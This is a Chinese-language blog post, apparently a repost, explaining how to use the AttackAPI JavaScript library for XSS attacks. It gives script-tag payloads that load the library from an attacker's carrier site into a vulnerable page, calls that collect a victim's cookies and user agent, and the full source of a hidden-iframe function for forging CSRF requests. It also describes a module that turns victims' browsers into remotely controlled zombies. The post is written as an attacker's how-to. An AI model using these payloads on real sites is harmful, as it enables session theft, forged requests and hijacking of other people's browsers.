AttackApi

来源:互联网 发布:英语单词分类记忆软件 编辑:程序博客网 时间:2024/05/14 04:47

AttackAPI

1.      概念

AttackApi是一个用于XSS攻击的JS库,你不用再写那些繁琐的涉及到各种标签各种dom各种系统各种浏览器的基础代码,直接调用AttackAPI为你封装好的那些函数即可。

 

2.      使用

AttackApi的使用极其简单,主要分2部:

(1)    注入attackApi代码

在有XSS漏洞的地方插入以下代码:

<script src=”[你的载体网站域名]/ attackapi/AttackAPI-standalone.js"></script>”//加载AttackApi库的全部JS代码

或者只加载要用到的JS代码,这样传输的js文件会小很多

<script src=”[你的载体网站域名]/ attackapi/lib/dom/requestCSRF.js"></script>”//加载AttackApi库的requestCSRF代码

 

(2)    写自己的攻击业务代码

比如获取用户的Cookie,UA

var c=$A.getCookies();

var ua=$A.getAgent();

构造一个CSRF请求

$A.requestCSRF({url:”[你的CSRF请求URL]”});

(3)    控制别人的浏览器

AttackApi有一个zombie模块,黑客向服务器发送消息,而受害者的浏览器定时去向服务器取消息,即可实现黑客操作受害者的浏览器。

 

3.      原理

分析AttackApi的源码吧,以下是获取UA的函数

         AttackAPI.dom.getAgent= function () {

var agent = '';

if (navigator.userAgent)

           agent = navigator.userAgent;

else if (navigator.vendor)

           agent = navigator.vendor;

else if (window.opera)

           agent = 'opera';

          

agent = agent.toLowerCase();

if (/webkit/.test(agent))

           return 'safari';

else if (/opera/.test(agent))

           return 'opera';

else if (/msie/.test(agent) &&!/opera/.test(agent))

           return 'msie';

else if (/mozilla/.test(agent) &&!/(compatible|webkit)/.test(agent))

           return 'mozilla';

else

           return null;

};

可见他不是简单的返回UserAgent,会帮你做好一些正则匹配后,返回给你最干净的UA

 

再看CSRF的函数:

AttackAPI.dom.requestCSRF= function (request) {

var tmr = null;

var ifr = document.createElement('iframe');

ifr.style.visibility = 'hidden';

ifr.style.width = ifr.style.height = 0;

document.body.appendChild(ifr);

var doc = AttackAPI.dom.getDocument(ifr);

var form = document.createElement('form');

form.setAttribute('method',request.method?request.method:'GET');

form.setAttribute('action', request.url);

for (var name in request.query) {

           var input =document.createElement('input');

           input.setAttribute('name', name);

           input.setAttribute('value',request.query[name]);

           input.setAttribute('type', 'text');

          

           form.appendChild(input);

}

doc.body.appendChild(form);

 

ifr.onload = function () {

           window.clearTimeout(tmr);

          

           var data = null;

          

           try {

                    data =AttackAPI.dom.getDocument(ifr).body.innerHTML;

           } catch (e) {}

          

           ifr.src = '';

           document.body.removeChild(ifr);

          

           if (typeof(request.onload) =='function')

                    request.onload({data: data},request);

};

tmr = window.setTimeout(function () {

           document.body.removeChild(ifr);

          

           if (typeof(request.ontimeout) =='function')

                    request.ontimeout(request);

}, request.timeout?request.timeout:10000);

form.submit();

};

可见attackapi帮你创建了一个隐藏的iframe,然后在里面请求你的恶意URL


4.      References

(1)    别人的学习教程:http://www.cnblogs.com/milantgh/p/3645166.html

(2)    AttackApi官网:http://www.gnucitizen.org/blog/attackapi/

 

 

0 0
原创粉丝点击